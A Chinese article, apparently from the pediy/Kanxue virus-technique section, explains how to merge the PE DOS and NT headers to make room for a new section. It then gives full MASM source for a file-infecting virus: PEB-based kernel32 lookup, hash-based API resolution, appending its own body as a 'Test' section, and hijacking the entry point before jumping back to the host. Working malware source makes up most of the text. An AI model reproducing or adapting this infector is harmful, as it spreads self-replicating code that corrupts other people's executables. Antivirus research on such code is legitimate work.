原文:http://www.pediy.com/kssd/index.html -- 病毒技术 -- 病毒知识 -- Anti Virus专题
1> 变形PE头的原理:
这里的变形PE头的思路是用的比较方便的方法,就是将IMAGE_DOS_HEADER 和 IMAGE_NT_HEADER 结构融合到一起。因为我们都知IMAGE_DOS_HEADER和IMAGE_NT_HEADER的结构成员很多我们是用不到的,所以我们可以按照相应的结构排列,把这些无用的结构成员,融合到一起后,替换成一些有用的成员.
一般我们都知道IMAGE_DOS_HEADER结构只有两个成员针对PE LOADER是有用的。(1).e_magic (2).e_lfanew。其他的成员PE LOADER一般是用不到的。但是我们必须要知道的是e_lfanew成员我们必须保证它是基于IMAGE_DOS_HEADER的3ch偏移处。了解了以上,我们知道我们一个新的节表结构的大小是40字节,那么一个IMAGE_DOS_HEADER结构是64字节,那么我们IMAGE_DOS_HEADE 和 IMAGE_NT_HEADER融合。 空余出来的字节大小肯定是够我们写入一个新的节表结构的,而且我们这里计算还没有加上如果对方的程序存在 DOS STUB 以及 节表结构尾部还存在一些空隙,这对我们写入一个新的节表结构是足足有余的。
首先我们需要找一个IMAGE_NT_HEADER结构中的一个不常用的成员,把它排列 使其这个无用的成员基于IMAGE_DOS_HEADER结构偏移为3ch,恩没错就是把这个成员替换成.e_lfanew。 我们尽量找IMAGE_OPTIONAL_HEADER中的成员,这样我们扩展剩余的字节空间就会更多。
我们这里用IMAGE_OPTIONAL_HEADER结构中的BaseOfData成员,因为这个成员一般对于我们来说没什么用处。这个成员在IMAGE_NT_HEADER的偏移是30h。那么我们只要将他排列使其这个成员基于IMAGE_DOS_HEADER的结构是3ch。那么我们是不是在IMAGE_NT_HEADER前补12个字节(从'MZ'开始数,数到BaseOfData为3ch),这样我们把这12个字节所处的偏移看作为IMAGE_DOS_HADER结构的偏移,这样我们的BaseOfData成员对于IMAGE_DOS_HADER结构的偏移则为3c,然后我们刚刚说了,我们的IMAGE_DOS_HEADER重要的是(1).e_magic (2).e_lfanew。所以我们将前12个字节中的前两个字节写入'MZ', 然后将BaseOfData中的偏移写入0ch。这样我们就成功的将IMAGE_DOS_HEADER和IMAGE_NT_HEADER融合到一起了.
2> 变形PE头添加节的实现过程
; 链接选项中加入/SECTION:.text, RWE, RadAsm中逗号替换为|
.386
.model flat, stdcall
option casemap:none
include windows.inc
@pushsz macro str
call @f
db str, 0
@@:
endm
pushad_eax equ 1ch
pushad_edx equ 14h
pushad_esi equ 04h
pushad_edi equ 00h
.code
VirusStart:
pushad
call Dels
int 3
int 3
int 3
Dels:
pop ebp
sub ebp, Dels - 3 ; call入栈的是第一个int 3的地址,所以减的时候Dels要减到第一个int 3
; Get kernel32
call GetKrnlBase
lea edi, [ebp + dwFunc] ; edi指向dwFunc
push edi
push eax
call GetFuncAddress
@pushsz 'user32'
call dword ptr [ebp + _LoadLibrary] ; 调用_LoadLibrary处的地址
push edi
push eax
call GetFuncAddress
test ebp, ebp ; 如果是在病毒的自己程序中,ebp为0,不会存在重定位问题
jz _Inject ; 如果是在病毒自己程序中就跳
push 0 ; 如果是在被感染的程序中,就弹出一个对话框并继续感染其他文件
@pushsz 'Virus Demo'
@pushsz 'This program is infected :)'
push 0
call dword ptr [ebp + _MessageBox]
push dword ptr [ebp + JmpHost + 1] ; 将原程序OEP入栈
pop dword ptr [esp + pushad_eax] ; 将原程序OEP弹入程序开始pushad保存的eax中
@pushsz 'test2.exe'
call Inject
popad
push eax ; 原程序OEP入栈
ret ; 调到原程序OEP
_Inject:
@pushsz 'test.exe'
call Inject
popad
ret
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Arguments:
; None
; Return value:
; Success - eax = KrnlBase
; Failure - eax = -1
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
GetKrnlBase:
push dword ptr 006ch
push dword ptr 006c0064h
push dword ptr 002e0032h
push dword ptr 0033006ch
push dword ptr 0065006eh
push dword ptr 00720065h
push word ptr 006bh
mov ebx, esp
assume fs:nothing
mov eax, fs:[30h]
test eax, eax
js _Os9x
mov eax, [eax + 0ch]
mov eax, [eax + 1ch]
_Search:
or eax, eax
jz _NotFound
inc eax
jz _NotFound
dec eax
lea esi, [eax + 1ch] ; eax + 1ch = BaseDllName
mov esi, [esi + 4] ; esi 指向UNICODE_STRING.BUFFER
mov ecx, dword ptr 13
mov edi, ebx
repz cmpsw
or ecx, ecx
jz _Found
mov eax, [eax]
jmp _Search
_NotFound:
or eax, 0ffffffffh
jmp _Result
_Found:
mov eax, [eax + 08h]
jmp _Result
_Os9x:
mov eax, [eax + 34h]
lea eax, [eax + 7ch]
mov eax, [eax + 3ch]
_Result:
add esp, 26
ret
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Arguments:
; [esp] - return address
; [esp + 4] - hModule
; [esp + 8] - pHashList
; Return value:
; None
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
GetFuncAddress:
pushad
mov ebx, [esp + 4 * 8 + 4] ; Get hModule, First arguments
mov edx, [ebx + 3ch]
mov esi, [ebx + edx + 78h] ; esi = PE Header.Data Directory[0].VirualAddress
lea esi, [ebx + esi + 18h] ; esi->ExportTable.NumberOfNames
lodsd
xchg eax, ecx ; ecx = NumberOfNames
lodsd
add eax, ebx
xchg eax, ebp ; ebp = AddressOfFunctions
lodsd
add eax, ebx
xchg eax, edx ; edx = AddressOfNames
lodsd
add eax, ebx
push eax ; [esp] = AddressOfNameOrdinals
mov esi, edx ; esi = AddressOfNames
_NextFunc:
lodsd
add eax, ebx
; Make Hash
xor edx, edx
_MakeHash:
rol edx, 3
xor dl, byte ptr [eax]
inc eax
cmp byte ptr [eax], 0
jnz _MakeHash
mov eax, [esp]
add dword ptr [esp], 2
mov edi, [esp + 4 * 8 + 4 + 8]
_ScanDwFunc:
cmp dword ptr [edi], edx
jnz _NextHash
movzx eax, word ptr [eax]
mov eax, [ebp + eax * 4]
add eax, ebx
scasd ; 递增到存储地址的地方
stosd
jmp _Ret
_NextHash:
scasd
scasd ; 越过第一个api hash和存储地址区域
cmp dword ptr [edi], 0
jne _ScanDwFunc
_Ret:
loop _NextFunc
pop ecx
popad
ret 8
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Arguments:
; [esp] - return address
; [esp + 4] - lpMemory
; Return value:
; Success - CF = 1
; Faiulre - CF = 0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
IsPe:
mov edx, [esp + 4]
cmp word ptr [edx], 'ZM'
jnz _IP_RetFalse
add edx, [edx + 3ch]
cmp word ptr [edx], 'EP'
jnz _IP_RetFalse
_IP_RetTrue:
stc
ret 4 * 1
_IP_RetFalse:
clc
ret 4 * 1
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Arguments:
; [esp] - return address
; [esp + 4] - lpFileName
; Return value:
; True - CF - 1
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
IsFileType:
push 0 ; 留出空间存放结果
push esp ; 输出参数
push dword ptr [esp + 4 * 2 + 4]
call dword ptr [ebp + _GetBinaryType] ; 调用GetBinaryType
pop eax ; 将输出参数中的值赋给eax
; 32BIT_BINARY = 0
test eax, eax
jne _IFT_RetFalse
_IFT_RetTrue:
stc
ret 4 * 1
_IFT_RetFalse:
clc
ret 4 * 1
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Arguments:
; [esp] - return address
; [esp + 4] - lpFileName
; Return Value:
; None
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
Inject:
pushad
mov esi, [esp + 4 * 8 + 4] ; esi = lpFileName
;++
; Is File Pe Format
push esi
call IsFileType
jnc _IJ_Result ; 不是32位二进制文件跳走
;--
xor eax, eax
push eax
push eax
push OPEN_EXISTING
push eax
push FILE_SHARE_WRITE
push GENERIC_READ or GENERIC_WRITE
push esi
call [ebp + _CreateFile] ; 打开文件lpFileName
cmp eax, -1
jz _IJ_Result
xchg eax, ebx ; ebx = hFile
push 0
push ebx
call [ebp + _GetFileSize]
push eax ; push File size
push PAGE_READWRITE
push MEM_COMMIT
push eax
push 0
call [ebp + _VirtualAlloc]
pop edx ; edx = file size, eax = memory address
test eax, eax
jz _IJ_CloseHandle
xchg eax, edi ; edi = memory address
mov dword ptr [ebp + _FreeSize], edx
push 0
push esp
push dword ptr [ebp + _FreeSize]
push edi ; 将文件读取到edi
push ebx
call [ebp + _ReadFile]
test eax, eax
jz _FreeMem
push edi ; 读取的文件数据
call IsPe
jnc _FreeMem
push Virus_Len
push edi
call AddSectionTable ; 添加节表, 返回后edx = NewSection VirtualAddress(病毒入口RVA)
;++
; Update Oep, Write JmpHost
mov eax, edi ; eax为文件数据
add eax, [eax + 3ch] ; eax = PE Header
mov ecx, edx ; ecx = Virus entry rva
xchg ecx, [eax + 28h] ; [eax + 28h] = AddressOfEntryPoint程序执行入口RVA,和ecx交换
add ecx, [eax + 34h] ; [eax + 34h] = ImageBase程序的建议装载地址
mov dword ptr [ebp + JmpHost + 1], ecx ; 保存ImageBase + AddressOfEntryPoint = Oep
;--
; 将文件指针指向开始处
push FILE_BEGIN
push 0
push 0
push ebx
call [ebp + _SetFilePointer]
; 将更改后的文件数据写入文件
push 0 ; 留位置用于下面 push esp 做输出参数
push esp
lea eax, [ebp + _FreeSize]
push dword ptr [eax]
push edi
push ebx
call [ebp + _WriteFile]
test eax, eax
jz _FreeMem
; 在文件尾部扩展出Virus_Len长度的空间
push FILE_END
push 0
push Virus_Len
push ebx
call [ebp + _SetFilePointer]
; 确定文件结尾
push ebx
call [ebp + _SetEndOfFile]
; 从当前文件指针(文件结尾)往前移动Virus_Len字节,准备写入病毒代码
push FILE_CURRENT
push 0
push -(Virus_Len)
push ebx
call [ebp + _SetFilePointer]
push 0 ; 为下一句指令留位置
push esp
push Virus_Len
lea eax, [ebp + VirusStart]
push eax ; 从VirusStart开始向文件当前文件指针指向的位置写入Virus_Len字节
push ebx
call [ebp + _WriteFile]
test eax, eax
jz _FreeMem
_FreeMem:
push MEM_DECOMMIT
_FreeSize = $ + 1 ; $ + 1为push指令后面的操作数的地址,上面将file size写入此处
push $
push edi
call [ebp + _VirtualFree]
_IJ_CloseHandle:
push ebx
call [ebp + _CloseHandle]
_IJ_Result:
popad
ret 4
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Arguments:
; [esp] - return address
; [esp + 4 * 8 + 4] - pMemory
; [esp + 4 * 8 + 8] - dwLen
; Return Value:
; eax = New section PhysicalOffset
; edx = NewSection VirtualOffset
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
AddSectionTable:
pushad
mov ebx, [esp + 4 * 8 + 4] ; ebx = 映像起始
mov esi, ebx
add esi, [esi + 3ch] ; esi指向pe头
;++
; edi = Section Table
; + 4是加上IMAGE_NT_HEADERS结构里的Signature的长度
; IMAGE_FILE_HEADER.SizeOfOptionalHeader是相对于IMAGE_OPTIONAL_HEADER32的偏移
; 这里需要的是相对于IMAGE_NT_HEADERS的偏移
movzx ecx, word ptr [esi + IMAGE_FILE_HEADER.SizeOfOptionalHeader + 4] ; IMAGE_OPTIONAL_HEADER32结构长度
lea edi, dword ptr [esi + ecx + 4 + sizeof IMAGE_FILE_HEADER] ; edi指向节表
;--
;++
; Clear Entry Bound Import
lea edx, [esi + 74h]
cmp dword ptr [edx], 10
jl _GoSectionTable
mov dword ptr [edx + 4 + 11 * 8], 0 ; 清除Entry bound import
;--
_GoSectionTable:
;++
; edx = First section offset
; edi = Last section table offset
; 这里为什么要取文件偏移呢,因为申请的内存中读取的文件数据
; 并没有按照内存粒度对齐,还是和文件中一样的
mov edx, [edi + IMAGE_SECTION_HEADER.PointerToRawData]
add edx, ebx ; 节在文件中的位置
movzx ecx, word ptr [esi + IMAGE_FILE_HEADER.NumberOfSections + 4] ; 节表数量
imul ecx, ecx, sizeof IMAGE_SECTION_HEADER ; 所有节表的长度
add edi, ecx ; edi = 节表尾部
;--
;++
; 扩大PE头结构
; BaseOfData等于.lfanew
push edx
mov eax, edi
sub edx, eax ; 计算出第一个节和节表中间的空隙大小
cmp edx, sizeof IMAGE_SECTION_HEADER
pop edx
jge _AddSectionTable ; 能够存放下一个节表就跳,然后添加~
; 测试扩展是否已存在
cmp word ptr [ebx + 0ch], 'EP' ; 如果开始+0ch就是'PE',说明PE头已变形
jnz _Expand
xor eax, eax
mov [esp + pushad_eax], eax
jmp _AST_Result
_Expand:
sub eax, esi ; 计算PE头到节表结尾的距离
xchg eax, ecx ; ecx = 距离
pushad
lea edi, [ebx + 0ch] ; edi指向程序开始偏移0ch处
mov dword ptr [esp + pushad_esi], edi ; 修改pushad保存的esi为edi
cld
rep movsb ; 循环复制字节, 将NT头和节表复制到程序开始偏移0ch处
mov dword ptr [esp + pushad_edi], edi ; 此时edi为新的节表尾部
sub edx, edi ; edx = 第一个节的文件偏移
xchg ecx, edx ; ecx = 第一个节和新节表尾的距离
xor eax, eax
rep stosb ; 新节表为到第一个节中间的数据清0
popad
mov dword ptr [ebx + 3ch], 0ch ; 此处原理参考PE头变形
;--
_AddSectionTable:
; Inc Num
inc word ptr [esi + 06h] ; 节表数量加1
; Section Name
mov dword ptr [edi], 'tesT' ; 名叫Test的节
; Physical size
push dword ptr [esp + 4 * 8 + 8] ; 取出dwLen参数作为节的长度
pop dword ptr [edi + 10h]
; Physical offset
lea edx, [edi - 28h] ; 指向最后一个节表
mov eax, [edx + 14h] ; 获取最后一个节的文件偏移
mov ecx, [edx + 10h] ; 获取最后一个节的长度
add eax, ecx ; 最后一个节的尾部偏移
mov dword ptr [edi + 14h], eax ; 新节的偏移
mov dword ptr [esp + pushad_eax], eax ; 修改pushad的eax为新节的偏移
; Virtual size
push dword ptr [esp + 4 * 8 + 8] ; 取dwLen
pop dword ptr [edi + 8h]
; Virtual offset
push dword ptr [esi + 50h] ; 内存中整个PE映像的尺寸
pop eax ; 弹入eax
mov dword ptr [edi + 0ch], eax ; eax = virus开始处的偏移,pe映像尺寸是经过内存粒度对齐的
mov [esp + pushad_edx], eax ; 将Virus的地址修改到edx
; Flags
mov dword ptr [edi + 24h], 0e0000020h
; SizeOfImage
mov ecx, [edi + 08h]
add ecx, [edi + 0ch] ; 原映像大小加上添加的代码大小
mov dword ptr [esi + 50h], ecx ; 修改映像大小
_AST_Result:
popad
ret 8
JmpHost:
push $
ret
dwFunc:
dd 0C0D6D616h
_CloseHandle dd 0
dd 038C62A7Ah
_CreateFile dd 0
dd 0ABD10842h
_GetBinaryType dd 0
dd 09554EFE7h
_GetFileSize dd 0
dd 00BE25545h
_ReadFile dd 0
dd 0A97175F9h
_SetEndOfFile dd 0
dd 0A9D1FD70h
_SetFilePointer dd 0
dd 0AB16D0AEh
_VirtualAlloc dd 0
dd 0B562D3DBh
_VirtualFree dd 0
dd 058D8C545h
_WriteFile dd 0
dd 0A412FD89h
_LoadLibrary dd 0
dd 014D14C51h
_MessageBox dd 0
Virus_Len = $ - VirusStart
end VirusStart